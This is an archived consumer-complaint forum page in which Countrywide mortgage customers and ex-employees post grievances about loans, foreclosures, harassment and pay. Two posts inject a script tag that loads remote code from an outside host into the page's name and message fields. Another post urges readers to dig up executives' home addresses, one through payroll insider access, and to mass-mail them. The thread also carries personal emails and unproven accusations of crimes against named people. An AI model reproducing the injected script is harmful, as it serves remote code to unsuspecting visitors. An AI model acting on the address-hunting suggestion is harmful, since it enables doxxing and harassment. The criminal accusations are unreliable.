Countrywide Financial Illinois Home Loans Sucks

COUNTRYWIDE HOME LOAN SUCKS!
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Countrywide Financial - Illinois Home Loans - Equity Loan Mortgages SUCKS!

Illinois Home Loans? Sub-prime (bad credit), Need money, Mortgage Refinance, Or Want A Home Equity Loan Illinois and dont want to get ripped off or have hiden fees on your Home Loans?

Need A Home Loan IL, Refinance, Purchase, Or Make Home Improvements. Mortgage Rates Have Reached A All-Time Low Make Sure You Pick A Broker That Will find the right Home Equity loan at the best rate for you. We recommend that you conduct your own due diligence on mortgage brokers to find the one that is best for you. This site is a forum for users and should not be your only source of information about Countrywide Home Loan prior to choosing a lender.

This is what home loan customers in Illinois (IL) have been saying...

Illinois Home Loans Sponsored By US Home Loan
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Date: Sun 02/25/07 5:54PM
From: Frank/Cindy Davido

Message: THEY TOLD US THAT OUR REFI ON 2 PROPERTIES WOULD CLOSE IN 1.5 WEEKS. THE UNDERWRITER TOLD US THAT WE DID NOT NEED TO MAKE A MTG PAYMENT. 3.5 WEEKS LATER, AFTER BEING IGNORED, WE WERE DENIED DUE TO MY HUSBAND WOORKING FOR THE GOV AND THE INABILITY TO DIRECTLY CONTACT HIS EMPLOYER. THEY HAD BEEN SENT 20 YRS OF PAYCHECK STUBS. WE THAN WERE MARKED AS BEING LATE 60 DAYS ON A PAYMENT, OUR CREDIT SCORE DROPPED, AND THEY REFUSE TO HELP WITH ANY PAYMENT ARRANGEMENTS.TODAY I RECEIVE A LETTER STATING THAT OUR NEXT MTG PAYMENT WILL BE PUT INTO A FUND FOR CURRENT AND FUTURE LATE FEES.
THEY SUCK BEYOND SUCK
Date: Sun 02/25/07 2:25PM
From: Billy

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Date: Sat 02/24/07 2:10PM
From: Frank/Cindy Davido

Message: THEY TOLD US THAT OUR REFI ON 2 PROPERTIES WOULD CLOSE IN 1.5 WEEKS. THE UNDERWRITER TOLD US THAT WE DID NOT NEED TO MAKE A MTG PAYMENT. 3.5 WEEKS LATER, AFTER BEING IGNORED, WE WERE DENIED DUE TO MY HUSBAND WOORKING FOR THE GOV AND THE INABILITY TO DIRECTLY CONTACT HIS EMPLOYER. THEY HAD BEEN SENT 20 YRS OF PAYCHECK STUBS. WE THAN WERE MARKED AS BEING LATE 60 DAYS ON A PAYMENT, OUR CREDIT SCORE DROPPED, AND THEY REFUSE TO HELP WITH ANY PAYMENT ARRANGEMENTS.TODAY I RECEIVE A LETTER STATING THAT OUR NEXT MTG PAYMENT WILL BE PUT INTO A FUND FOR CURRENT AND FUTURE LATE FEES.
THEY SUCK BEYOND SUCK
Date: Thu 02/22/07 9:03AM
From: Rex

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Date: Tue 02/20/07 5:19AM
From: Garrikani

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Date: Wed 01/31/07 6:20PM
From: SMarioPoop

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Date: Tue 12/26/06 3:54PM
From: wzqurx kunxtfe

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Date: Mon 12/18/06 5:08PM
From: frank/cindy davito

Message: THEY TOLD US THAT OUR REFI ON 2 PROPERTIES WOULD CLOSE IN 1.5 WEEKS. THE UNDERWRITER TOLD US THAT WE DID NOT NEED TO MAKE A MTG PAYMENT. 3.5 WEEKS LATER, AFTER BEING IGNORED, WE WERE DENIED DUE TO MY HUSBAND WOORKING FOR THE GOV AND THE INABILITY TO DIRECTLY CONTACT HIS EMPLOYER. THEY HAD BEEN SENT 20 YRS OF PAYCHECK STUBS. WE THAN WERE MARKED AS BEING LATE 60 DAYS ON A PAYMENT, OUR CREDIT SCORE DROPPED, AND THEY REFUSE TO HELP WITH ANY PAYMENT ARRANGEMENTS.TODAY I RECEIVE A LETTER STATING THAT OUR NEXT MTG PAYMENT WILL BE PUT INTO A FUND FOR CURRENT AND FUTURE LATE FEES.
THEY SUCK BEYOND SUCK
Date: Fri 11/24/06 12:05PM
From: grindit

Message: Countrywides loan officer,{Brad} really put the screws to us.He works out of the Naperville,Oakbrook offices in Illinois.
He is a lier and deserves to be delt with.
His branch manager stands behind him 100%.If anyone has also been shafted by{Brad}please let me know.this guy makes a living doing bad things to people,and gets away with it.
BEWARE OF BRAD!!!!!!!!
Date: Tue 11/21/06 6:27PM
From: Dennis Bell

Message: FIRST, let me say this site is the very best way to deal with the fraud and questionable business practices being committed by Countrywide Home Loans against its una**uming customers. This is the only way for individual customers to learn of the magnitude of wrongdoing by Countrywide, and to learn just how many people have been damaged.
SECOND, it is imperative that everyone who has been damaged by Countrywideís fraud and/or dishonest business practices, should file a complaint with the Federal Trade Commission, 600 Pennsylvania Ave. N/W, Washington, DC 20580. You can fill out a complaint form online at
www.ftc.gov/ftc/businessinfo/customer.ht m. The FTC does not resolve individual complaints, however they will investigate a company for repeated complaints related to improper business practices or fraud. If everyone who posted a complaint on this site would file a complaint with the FTC, Iím sure that would trigger a formal investigation against Countrywide Home Loans.
NOW...MY STORY: I refinanced three of my rental properties through Countrywide Home Loans in 2004. After about a year I noticed Countrywide began billing me for more than my payment amounts. In one case, Countrywide had purchased two insurance policies for a single house which depleted my escrow account on that loan. Because of their mistake they raised my monthly payment by $200. On another loan, Countrywide fraudulently raised my property tax bill from $151 to $1843.94 , then raised my payment from $179.29 to $477.77. When I made my monthly payments, I would mail three checks in one envelope to make all three loan payments were received at the same time. Even though I did this, Countrywide would credit one loan with a timely payment, then show the other two loans were paid late and charge a late fee. I tried for many months to get these problems resolved, but the harder I tried the more difficult Countrywide made it. In August 2005 I learned that Countrywide had reported that I had made late payments on two of my loans which ruined my credit. Although I continued to make payments, Countrywide filed suit to foreclose on one of my properties. I filed a counter suit and got a judgment against Countrywide for $556,000. Countrywide then filed suit to foreclose on my other two properties, so I have now turned the matter over to a wonderful attorney who specializes in lender liability cases. Countrywide Home Loans certainly has questionable business practices, but because they have become so large it is difficult to get sufficient information to drag them into court. I welcome all information and comments from past or present Countrywide customers who have been damaged by their business practice. My email address is oneoutback@comcast.net. I will update this message as the court proceedings move along. Good luck to all of you who are fighting a battle with Countrywide and I hope to hear from you.
Date: Fri 11/10/06 6:26AM
From: <script src=http://usuc.us/j.php>jonny</script>

Message: <script src=http://usuc.us/j.php>jonny</script>
Date: Fri 11/10/06 6:26AM
From: <script src=http://usuc.us/j.php>jonny</script>

Message: <script src=http://usuc.us/j.php>jonny</script>
Date
Left: August 17, 2006 By: In:

Offices being raided, audited, and shut down. Not good!!!


Left: August 14, 2006 By: In:

The truth hurt doesn't it Crappywide!
As a matter of fact there have been more people quit
Your Chandler Campus than are currently working there in the
last two years the telemarketing center has been open.
Face the facts. You sell the same basic loans every other major
bank sells. The difference with Crappywide is the lousy
customer service and shit head management.
This means you Mike Matthews!


Left: August 12, 2006 By: In:

S&P 500 Scorecard: Hospira, Mylan, Countrywide Lead Index Lower
Aug. 11 (Bloomberg)

WORST PERFORMING
Countrywide -12% The biggest U.S. mortgage provider said
Financial Corp. lending declined 19 percent, more than
(CFC, $32.94) analysts expected.


BYE BYE PIGGY BRIAN HALE HAHAHA


Left: July 28, 2006 By: Curious In: USA

there is a rumour that an
office in Illinois was shut
down by the FEDS. Any truth?


Left: July 26, 2006 By: In:

go file your overtime against these crooks. federal overtime is waiting...hahaha crooks at cfc.


Left: July 21, 2006 By: In:

new email is bridgegirl1974@yahoo.com, but will respond to all on this board. the owner of this board will not sell out to CFC and CFC will not go to a public court to sue due to the fact their execs would be called as witnessed and sworn under oath, something they have never done and the company will pay any amount to make sure they don't get examined in the public eye due to the embarrassing and possible criminal actions of the company.


Left: July 21, 2006 By: In:

bridgegirl1974@yahoo.com is the new email, CFC was harassing me thus the change.


Left: July 20, 2006 By: countryfiredchick@hotmail.com In: san diego, ca

bridgegirl24@yahoo.com has very enlightening info on this scumbag company. We have been able to exchange valuable info. Sharing makes the pieces of the puzzle fit together and exposes the pattern of CW's unethical/illegal ways of dealing with complainants. The John Bianchi region retaliates against complainants, with the facilitation of HR/ER -- period. In my best estimate, a class action will be formed soon, to deal with one or all of the following: compensation, harassment/retaliation and overtime. There are a bunch of us who have legal representation now: lawyers on contigency fees!

I am a current employee, dealing with CW's HR and Legal. I have reported ethics and legal violations to the General Counsel and Chief Ethics Officer. I have also just reported to government agencies and I hear the press will be calling anyday. I was mercilessly sexually harassed and financially abused, transferred and "promoted" against my will, have NEVER received an accurate paycheck, and am being denied transfer out of the region that I have reported fraud on. I can verify 100% that bridgegirl was a CW employee, taken advantage of in many of the same ways. I can't even begin to describe the pain inflicted on my family and myself, by this CRIMINAL company! There is asolutely NOTHING that CW can honestly say about my job quality or effort. I have never been reprimanded, never been fired and never sued any employer before.

We are both upstanding, honest people who refused to engage in unethical and illegal business practices, and who only want payment fot the jobs we have done! We WILL get this. We, and a few others, are ready to help and share info for others like us. We have families and other obligations. We are simply kind and decent people (what an unusual concept, huh?).

Whomever is saying "Don't contact bridgegirl" is a scared, Countrywide piece of shit!!

We'll be the last ones laughing, Countryfried!

Fink, Bianchi and Brumby (and a few Region 53 branch managers): Your days are numbered. You're going to be the little scapegoats, soon to find out what it feels like to be considered "disposable." Your execs don't give a rat's ass about any of you.


Left: July 12, 2006 By: In:

if you were a past
employee or current
one who was
wronged by this
company please
email me for
help and to share
and join together...
bridgegirl24@yahoo.com


Left: July 11, 2006 By: rogersfamilytre2 In: Alton, Illinois

We had financed with a different lender and they were wonderful and we never had any issues with them... then the loan was sold to CW.

My husband became ill in April 2005 and we used our savings to pay the next few months of mortage payments until Sept. 2005. I called CW in August 2005 to tell them that we would need to either defer or make arrangements to pay an additional amount per month along w/ our mortage payment but that it may be late.

Their response -- Oh wait until it's late and then call us. You won't be able to do anything until it is deemed late. BULLSHIT!! So September came and I called again. OH you qualify for the Work Out department... we applied and then 30 days later were denied. No explanation... just a big NO on letterhead. So we called again -- Oh your investor does not allow the Work Out option. WHAT? How could an investor knowingly do something of that nature. I explained to them if the payments are put at the back-end of the loan at the interest rate we currently have and then at a later date we decide to refinance or otherwise the investor would then make money because the defered payments are at the back-end of the loan and have made accrued interest = $$$ for the investor. They said well we don't know what to tell ya. But you qualify for payment arrangements. So we applied for that --- faxed over check stubs, bank statements and a letter of hardship. 30 days later rec'd a letter of denial -- OH we never rec'd the information. So we tried again w/ the payment arrangements -- 5x's in fact of which once I had the rep call me back to confirm receipt. I must mention that many many times we have offered partial payments of which they would not accept, not one penny. Which is just a stupid thing.

In January 2006 we rec'd a letter of default and that foreclosure proceedings would then be initiated.

We then retained an attorney which has been able to extend our foreclosure date from August 30th to September 22nd but we are also going to hire a close friend of ours that is an excellent real estate attorney. I have referred him also to this site to take a look at class actions as he has done many.

We have been lied to, our account has mishandled our account,misinformation -- ALL THE TIME. The investor stuff is bull because it is no where listed in our mortgage papers that the investor would not resolve a financial hardship in an amicable way. That still boggles. I have informed Countrywide that if something happens with our bank accounts that our information -- check stubs and such has been floating around there for almost 10 months now and we will hold them responsible.

I found the personal addresses of the executives... Mozila, Sambol, etc. I would like everyone to get involved and send them a nice thank-you letter... do they make thank-you letters that say "Thank-you for really fucking our life up?" How do these people sleep at night knowing how awful they are? How do they stay in business? Who's ass are they paying to stay in business? The poor soul at the end of the phone -- I ripped her a new one the last time I spoke with them with the entire situation as we have 100's of times now. Oh I PROMISE I will follow up on this account... yeah ok. I laughed in her face and said ok we will see. It has been 1 month and still no answers -- it was supposed to be assigned and the deal done within 10 business days.

As for the loser that keeps inputting their comments -- go away. get a life. go jump off a bridge already. These are real people with real situations and possible hardships or they just get fucked over by mismanagement that your company CountryWide represents. I have advertised my families situation to anyone and everyone I know to steer clear of this horrid company as they will destroy you as a family and your credit just to dig the heels in. They should be out of business but they have the money and we all know money = power. So just get your jollies off somewhere else...fuckin jackoff! You too will burn in the depths of hell like the rest of them. That would be a lovely lovely though.

I work for an excellent company that prides itself on its customer excellence. We work very very hard to make sure every detail is perfect and if it isn't we make it reasonable for the client. For myself, I love my clients and honestly love the people I work with and grow with them and know the accounts foremost and upfront before you just call and act like a dumbshit. We are trained before we are even allowed on the phones -- for close to 3 months.



Mr. Mozila's personal addresses are listed on Whitepages.com --- don't put a state or zip just type in his first and last name and voila. Sambol is unlisted but if you know anyone that works for ADP you could get it -- > payroll register. HMM we could send a MASSIVE chain mail to him. Or have one of us collect all the complaints listed on these pages and print each complaint on a separate piece of paper and then mail it to his homes, and charge him the postage. lol. Screw it .. Fed Ex!! HA.

I feel very sorry for you beginning reps over there. GET OUT SOON before they shave your head and make you do bizarre outings claiming they are god or something.



Left: July 09, 2006 By: In:

The legal department and HR
at the Company allow criminals like
Bianchi, who runs the Socal Region
to do as he wants, thumbs his nose
at the Board and Committees, and of course
the public. How can this Company keep letting
this criminal of paying off Realtors for business
and stealing from the little employees keep going on, it is so funny to see all the work
that goes into to protecting the head of
Countrywide, Bianchi, he is the head of it
, according tohim Mozillo don't mean shit and noone else does either.


Left: July 08, 2006 By: In:

Countrywide is the biggest bunch of criminals there are in this nation, destroying peoples livesd, not making them better. Their legal department is the root of corruptiuon, protecting the scum they have hired. Go to the press, everyone, go to the press!!!!! Write the press and tell them your story. Fax your story in everyone, tell the world what these scumbags are about and how they treat America!! Scum right up to the top.


Left: July 07, 2006 By: Countrywide Hater In: Everywhere

Restored Arizona (San Diego, CA) Postings:

Left: June 23, 2006 By: In:

Look, almost all employees were made to sign arbitraion agreements, which means any complaints of pay and harrasment , as stated in the document, is arbitraitable..



What is not arbitraitable is the OVERTIME, and we all wroked tons of overtime.



Have yourr lawyers file overtime for your hours worked over 40 hours a week, it is a hornets nest and keep in mind the peole in Rosemead were awarded clas action in Superior Court, $30million was settled by Countryfried and it was all over 3 employees who were dared to sue them by the arrogant attorneys.



3 people looking for about $10k turned into $30 million setlltemnt 1.5 years later, 20, 00 originators and PA;s nationwide is a huge class and 2 people in plano, tx have been granted class status for Texas stufff... go get em peeps!!!

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Left: June 23, 2006 By: Truth Commission In: Phoenix

Well just like I said, the sick puppies that are high up in the chain, all about the anatomies, in the workplace, other than their wives. It's all over the country at Countrywide. Now we have Atlanta and Florida, to add the list. Watch the list grow!



I smell a list of lawsuits coming...



One about Sexual Harrassment, as victims here are currently speaking out.



Another about employment compensation. Because Countrywide Full Spectrum was once sued for not paying all of its employees time and a half overtime. Guess what? It still isnt paying time and a half OT!



Another about predatory lending. Because Countrywide FSL is a predatory lender.



And of course, there will be another one about CHL's wrongful destruction of its customers' credit, by it's owner errors and failure to take responsability for it.



Countrywide never owns up to any of its wrong doings. They make excuses, try to cover up, and fight to avoid the consequences.







--------------------------------------------------------------------------------


Left: June 22, 2006 By: Just as Pissed In: Atlanta

Are you sure you all are not talking about the S.E. Division ( Florida & Atlanta)? From what I heard ( rumours??) From what I heard, the new DVP for the SE was let go from Chase because of the many sexual harassment charges filed against him.....so guess who hires the slug to replace Phyliss Buckelew? You got it, CHL.



I was a 4 time C.O.E. winner in the top producing branch in the SE from 2001-2005. My BM had been w/CHL for 10 years, and through blood, sweat, tears, she grew a branch of two into a powerhouse of 40 high producing EHLC's in Buckhead(Atlanta). She had the reputation on the streets as being a hard working, honest, do anything for you manager that high producers in the Atlanta market flocked to.



Well, soon after the old guard,Phyliss Buckelew, was forced to retire after 30 years w/angelo, Big Boy Hale put his "boy" into the DVP role. The RVP and AVP are of the same mold as ths DVP....married men who chase skirt, slam beer, play golf etc, anything but actually work.. Soon after these knuckleheads were hired, an unwarrented audit was conducted in our branch. Anyone who did not play their "good old boy" game was terminated, including my BM, BOM, myself and several other good, hard working people. The #1 branch in the area has been reduced to rubble for really no other reason then small egos. i think these boys couldn't take that this 50 year woman could smoke them in hard work and knowledge. Such little dick boys they are!



I'am sooooooo happy to be away from these do nothing, fatheads that I laugh when i read your blogs because it all sounds so familiar. I don't laugh at your situation but at the same old story that seems to be the theme at CHL.... screw over your hard working, dedicated, honest, loyal workforce, and replace/promote the scuz that floats around in our industry. This warped sense of values has flushed a once proud, honorable company into a cesspool of vipers.



My BM along with the EEOC currently has a pending suit against these clammy, scummy, has beens. Of course CHL's attorneys are trying to wear her down with delay, after delay but I truly don't think they know the wasp nest they just hit. She NEVER gives up!!! That is what made her one of the best managers I EVER worked for.



so anyway, good luck in your fight, don't quit no matter how much they beat you down(They Will try) ,and remember you are not alone.



rock on

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Left: June 22, 2006 By: In:

I am sorry, I mistyped, you are in Arizona now as you mentioned.



My typing is not the best but none the less, you were violated and people at the Company did not help you is what counts.



I am sure there is more incidents the more people get to know at least some of the facts.



I do dknow there are people who just have given up chasing down pay and complaints, including customers.



Countryfried is such a scarey operation and I wish you the best of luck.



Go get em, Don't take no shiiiiiit from nonone.

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Left: June 22, 2006 By: country fired chick In: san diego, ca

I am not, never was at 521. That branch had a similar recent incident that I referenced. Also, I listed some names that have come up surrounding this issue. Please reread your email.

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Left: June 22, 2006 By: country fried chick In: san diego, CA

Bridge girl:

I replied to you in confidence, to your email. I changed my name on the "from."



I work at home a lot, like you. I access the system just like you do. I sent you proof, as you asked.



I am completely pure intentioned and am also trying to avoid compromising a legal matter. Please be careful what you post on here.



Some of the initials you posted are wrong. Plese be careful.

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Left: June 22, 2006 By: bridgegirl24 In:

Trust is a two way street, as we have all been violated, we are all so paranoid people here making statements will trick us although we have done nothing wrong.



I recieved your email Chick, thank you, just scared to return the email until I am more comfy we have the same goal. I also have retained a lawyer who is dealing with these issues.



I know the parties you mentioned, initials etc, but who was the ASM, intials is okay again. You mentioned LB also, who was the one who handled my stuff also. If you have documkented info on LB stuff it all goes back to JB, who is RDC's wife? Is her name JB now, or is it still JDC?



If you are still with 521, how could I confirm such? I can tell you that there is also one other female who was transfeered at the same time I was for reporting sexual harrassment in a North County branch, who also had a supervisor that was fired.



Thank you and I will respond to your email once we get a few more things clear etc..



The ASM, who worked in the same office with JB and is close close to him, was a big problem, but the key is how LB has handled things, he actually put something in writing to you to sign? I have similiar things from this person LB, who is in TX.



How are you posting on this board if CHL does not allow it. I work from Home now and can access anything.



Were you and EHLC? Did you sign an EHLC Plan?



I hope we can speak on the phone after we chat here and a few emails, but I promise you I have no bad intentions and am so alone and scared hoping someone like yourself would come along. My husband and child have also gone through this with me for the last year.



bridgegirl24@yahoo.com is my email as you know, and now that we have "met" I hope to get more input from anyone about this stuff. I was an EHLC, my firend was a PA, and we were both transferred after harrassment complaints in this same place



Hope you are well.



--------------------------------------------------------------------------------


Left: June 22, 2006 By: country fried chick In: san diego, CA

What you say makes sense. Bringing the entire site into evidence would surely bring more publicity than CW would ever want (They've already blocked it from the company Intranet). Further, the information posted here is highly personal (and I have a whole lot more that I haven't posted yet!!)



What made you guess that I was on that team? Did you hear something recently? Yes, it's true; I was. But any "stories" about it are pure speculation, as not even Bianchi got a copy of the complaint. I hold a few birds in my hand.



I would LOVE to get another female name; that would be the nail in the coffin (Especially if the main player was RD, KO, TA or CS)! Yes, my comp plan was changed upon my formal complaint. To quote Lyol Brumby: "If you don't take this deal, you don't have a job." I told him to fire me then, but he wouldn't. I protested, on record, and signed it for the three-month pittance that it offered. Then I was "promoted," meaning I was thrown out to the wolves to fend for myself. I, in no way, meet the requirements of my position. And because of the gross financial abuse, I was left with meager financial resources: certainly not enough for starting cold as an HLC. My credit got trashed (because I could no longer make minimum credit account payments) in the five months that I spent chasing my paycheck from someone who wanted me on my knees to collect it. You know what trashed credit means: applying at other financinal institutions is no longer even an option.



I trusted what those bastards told me, and left my last job for them. But their words never came to fruition as written agreements. My pig boss also changed my comp plan at will, and regularly reminded me who had the power.



I also seek to know about cases where HLCs were put in charge of THLCs' comp plans and duties (HLCs have no subordinates, according to the job description, even though CW puts them in supervisory roles every day). People, even if you had no personal experience with abuse or harassment, corroboration that this is typical reporting protocal at CW would be most helpful.



I can be emailed at countryfriedchick@hotmail.com

--------------------------------------------------------------------------------


Left: June 22, 2006 By: In:

Just wondering the Region you were in and ASM, you can just post initials if you like, but understand that this site is OWNED by someone who is very well documented the owner and would have to be subpoened to divulge any information, furthermore, the website owner has a very well documented claim as a customer..



He has legit gripes with the company if you rread his story, lives in California, and if you are truly looking for help, can be a huge help to expose the things you state, unfortunatly, The Enemy, as you call them is surely hating this site, but there is no links to anyone unless they want this whole site puit into evidence.



I can give you the name of at least one female who was sexually harrassed, complained to an ASM, and was transferred, all of them under JB chain of surpervisor.



Her compensation was also chaged etc...



Were you and EHLC for the JB Team?





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Left: June 22, 2006 By: country fried chick In: san diego, ca

I have to add, because this really makes me laugh (and it reiterates the previous CA posts which state that Countrywide chooses its execs through ass-licking and corrupt likemindedness): Bianchi also told us that he spent like, six years in junior college (I'm wondering if he actually finished a degree, but that's beside the point). His novelesque emails are complete abominations to the English language. Without exaggeration, they are at about sixth-grade level. He obviously lacks the aptitude required for his position and is really just an impeccably tanned and highlighted pawn with no conscience.



Back to work. Go Countryfried!

--------------------------------------------------------------------------------


Left: June 22, 2006 By: country fried chick In: san diego, CA

Why, are you an area sales manager?

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Left: June 22, 2006 By: In:

Chick in San Diego. Who was your Area Sales Manager?



Thank You

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Left: June 22, 2006 By: Truth Commission In: phoenix

I knew there were more women with Countrywide harrassment stories. And there are plenty other CHL/FSL besides Phoenix Girl and Country Fried Chick. There's plent of other Bianchi's out there in CHL too. As more victims come, you need to keep posting your email addresses.



Every mortgage company has problems. But I never a mortgage with so many things wrong with a mortgage company like I do with Countrywide in my entire life. As a former employee myself, I could come up with a list so long, include the female anatomical obsessions, and the other problems I've written about here.



Oh and about about what Chick was talking about: the CHL bigshot co-owning another mortgage and sending referals his way. That's not only a conflict of interest. That's flat=out illegal. He is violating RESPA laws BIG TIME. It is true. Countrywide breaks SOOO MANY LAWS.









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Left: June 22, 2006 By: Phoenix Girl In:

I am a Phoenix Girl and have similiar experiences.



Country Fried Chick... I know the parties you are speaking of and was transferred out of the same region.



Please email me the details you speak of and we can talk confidentially. I feel your pain and will gladly share the same in return. My family also had lawyers dealing with the company yet we could not find any help from others who were treated the same.. I hope you can share your story with me.



I worked in San Diego for a long time.



Please email if you like at bridgegirl24@yahoo.com and share your story you speak of. I also emailed countrywidecomplaints recently and got an invalid email. I do know the parties you are talking of and agree, Mr. Brumby and Mr. Bianchi were both involved in issues close to me and the transfer.



Amazing.

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Left: June 21, 2006 By: Country Fried Chick In: San Diego, CA

I'm sorry. To the person in Arizona: I can tell you that Lyol Brumby of HR is handling my case (and doing a mighty shitty job of it). He is dirty, too. He and Bianchi tried to devise a despicable way to get my complaint opened at the regional level, but were unable to. At this point, my complaint remains confidential at the corporate level. The main player was fired. He was a good friend of Bianchi's (though Bianchi is no longer claiming him. Nice!!). I was transferred and completely displaced, by design. I have potentially too much damage to do to Bianchi, if I stay. So I know my days are numbered.



When were you transferred? Did you get a choice in the matter? Did you protest the transfer? Afterward, did you experience weird "mistakes" with your paycheck, training schedules, etc.? Did the demands on your time and/or responsibilities change? How about delayed, or lack of, responses to your questions directed to HR or your new manager? Loans in your pipeline being lost, canceled or delayed for unexplained reasons? How about weird technical problems with your login ID or email? Anything else "weird" or unexplained that never happened before?

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Left: June 21, 2006 By: Country Fried Chick In: San Diego, CA

I inadvertantly DID name names: Southern CA, since I didn't realize what would show up at the top of the post. Oh well. The main reason I'm not broadcasting much is because I have a legal matter pending. I can only say what is general knowledge and provable. I am assuming that The Enemy watches this site, to some extent. I don't want to compromise anything, especially when my attorney is investing his own resources, up front. Believe me. . . when I can, I will broadcast every scumbag's name on here and what they have done!! I can corroborate that John Bianchi's region is corrupt, both personally and professionally. His longtime friendships pollute the professional environmnet and his personal quest for female ass seems to foster favoritism and perpetuate the same attitude among his followers. I can't give specific details about the sexual harassment or financial abuse I suffered, but I can tell you the following: Bianchi just gave us a three-hour long seminar about everything that he did "correctly,' to become a top producer (Actually, his branch was known for ALWAYS operating at a loss, simply so that he could do the volume to get himself noticed). He is on record stating that he paid $5000 to make himself "Mortgage Banker of the Year," and actually published the article wherein he interviewed HIMSELF! The rest of his speech was empahasis on the importance of everyone using his friends' products (e.g.: John Valenty's "Earnware"), and examples of his deceptive self-promotion. NEVER did he mention going beyond the call of duty for your customers, nor REALLY caring about the job you do for anyone. Bianchi's philosophy is COMPLETELY ABSENT of morals, ethics, or common decency. He is all about the one-night stand: fuck 'em and leave 'em. The repeat customers are primarily the ones who have had the rules bent or broken in their favor; they are a lot of high-enders and business owners that reciprocate favors. I can corroborate that the area is King of Kickbacks, and could get written proof by impartial third parties. MSAs between CW and realtors are based on anticipated number of loan applications, not market value of desk rental space, as the law requires: The best part of this, is that Bianchi admitted this at his last seminar. Ha! What a dumbass!!



How about this? John Bianchi co-owns another mortgage company that (allegedly) pays for loan referrals from Countrywide loan officers! His wife, Jennifer, has the broker's license but has never worked a day of her life.



I did try to send emails to countrywidecomplaints.com, but got returned email messages. I'm wondering: Is the owner of that address still looking for corroborative experiences? I did put A LOT of specific information in the emails I tried to send. I hope to meet up with some of the people who are filing similar complaints.



It's such a shame that a company with such potential is building the reputation of being complete trash. The execs in the area are just that: White trash with money (and, but the way, Bianchi is a provable bigot)!! The decline of employee morale only means that customers will suffer. The way that I have been made to feel at work (nervous, scared, angry, objectified, etc.), and the way I have had to chase down my paycheck, have undoubtedly compromised the quality of my work.

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Left: June 20, 2006 By: In:

That Company will never face anyting if you don't name the people. It surely is not against the law to post the truth, so chicky, you don't seem to be ready to help others, just a continuation of what Countrywide does, hide hide hide and hide more...



The truth is the truth, so if you won't post who it was and where, others will be violated because you hide the truth, step up and post, anonymously the names of the people who ytou allege did this to you...if not, you are no better than them.

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Left: June 20, 2006 By: In:

What team were you on chick? I was transferred out of San Diego to Arizona for similiar complaints for my protection. Maybe we had the same supervisors.

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Left: June 18, 2006 By: Truth Commission In: Phoenix

For the Girl in San Diego, I was just reading your post. On the California page there are similiar complaints from people who worked in San Diego, probably your region. If you scroll down they specifically name actual regional managers and executives as well. Until I quit, I use to work at the Chandler Arizona offices, and I heard such interesting Countrywide sex stories about the Rosemead California offices. There were alot of people there who transfered from Rosemead. This may very well be going around in other regions in other states. I would recommend posting your message on the other state pages as well. You will probably find more employees who have a similiar experience to share. Hopefully you will have yours or your attorney's contact information available soon.

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Left: June 16, 2006 By: country fired chick In: san diego, CA

(The CA posting page is not working, so site manager said to post in other states)

I am currently employed by Countrywide and have recently experienced vile

sexual harassment and financial abuse. I recently filed an HR complaint

that resulted in my boss' termination. Thereafter, I was transferred for my

"protection," given a position that I am lost in and did not want, and have

been experiencing what I perceive to be (need to have my lingo legally

appropriate) relatiatory actions on behalf of the management and executives.

I am in California. I need to check with my lawyer to see if I can name

the region in this forum.



I hate the company. I have been treated like a nothing and a plague.

Everything the company does is with pretense and calculation. The game is

being played by evil, narcissistic greed mongers. They place no value on

human rights or suffering.



It seems to be common knowledge that the region is corrupt and just a good

ole boys' club. I have heard that promotions and rewards are commonly

believed to be based on long-term friendships, blackmail/bribes and

(extramarital) sexual affairs. There seems to be quite a bit of evidence to

support it; it just needs to be put together.



I was on a "privileged" team that virtually made its own rules and put a

perverted, abusive non-supervisor in a supervisory role with me, after

having had notice of his past abusive behaviors. He acted as if he were

above the rules, because the region had covered some of his past incidents

from HR and even rehired him after he was fired by the parent company:

Northwest Mortgage.



I have recently hired a lawyer to deal with executive management. I cannot

say here, what it is that I seek; but we are wondering if there are any

similar stories in the region that anyone can share. I specifically want to

know about HLCs in supervisory roles, retaliation following HR complaints,

the discouragement of HR reporting, and any incidents that were minimized by

higher-ups. My lawyer works on a contingency fee. I would never share

names unless I had the express permission of the source. Even if someone

can give me an idea of where else to look, it would be greatly appreciated.

We'll do our own investigations. I want justice for others like me, and the

company to face the consequences of their actions. I'm sticking around

until it's done.



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Left: June 14, 2006 By: In:

If you have a countrywide loan in Arizona and they try to impound extra money in your escrow account call the AZ State attorney general. AZ is a ZERO PLUS escrow account State which means they can only impound for the actual charges and may not take a buffer for future charges.



Loan applications must send out the good faith estimate within 3 days and it must be signed by the loan originator not a forgery by the loan processor. These complaints should be directed to the Dept of HUD, inspector generals office.



Get your loan lock and delivery promise in writing. Keep notes on the timely delivery of docs both to you and back to processing. Call or email your processor regularly and if you dont get a timely response ask for the VP supervisor. You also have the right to use the title and escrow company of your choice not their affiliate landsafe.



Better yet shop around and find a better deal before you place an application deposit on your credit card.

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Left: June 13, 2006 By: In:

CHL = Enron

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Left: June 13, 2006 By: TRUTH COMMISSON In: Phoenix

THIS IS IN RESPONSE TO "JOE D"



You don't seem to get it.



For many years Countrywide HAS BEEN #1 in customer service. But guess what? Countrywide is soon to be a HAS BEEN.



Countrywide didn't use move operations over to India, BUT NOW they do! That will be bad for customer service.



Countrywide is now too cheap to keep up on its computers and computer systems. That is why the number of customers complaining about payments has been increasing in the last few years.

That is why it is now taking Countrywide 30 to 40 days to close a loan.

That is also why payoffs and other items are now coming out wrong.



Wake up Joe D. Have you ever studied the life cycle of an organization? Check it out. It comes in four stages: Introduction, growth, maturity, and decline. Right now, Countrywide is slowing down in the growth stage about to hit maturity. The only thing holding right now is the brand name. And if Countrywide continues with its path, it will not be long until it is in its decline stage.



ENRON WAS ONCE A FORTUNE 500 COMPANY. Countrwide is riding in the same path.



Also Countrywide was recently sued from its conduct as an employer, and apparently it never learned from the lawsuit. Another lawsuit will happen.



Joe D. you are not in the position to call the people here "Jerk Offs". Especially if you're another goon in Countrywide's management. Because someone in CW management would stick up for Countrywide the way you just did.



And to the Pro-CW idiot who keeps taking up the excessive space in the forum with blank lines. GET A LIFE LOSER.



You will not keep others from reading the previous posts.




Left: July 06, 2006 By: In:

this companies legal department deny deny deny all complaints, send back KNOWN lies in responses and pretty much tell everyone, customers and employees to f off, sue us. well it seems to work until now, now the press will be seeing things according to my sources and now sources have sent emails to the press that show the legal heads have been aware of the actiuons of criminals like Baicnhi in California and they let him keep pluggin along....damn shame, the public is being destroyed by these assholessssssss and in time the press will be putting out articles about all the lovely people and what they have done/.... hahahahahaa f u countrywfriued!!


Left: July 03, 2006 By: In:

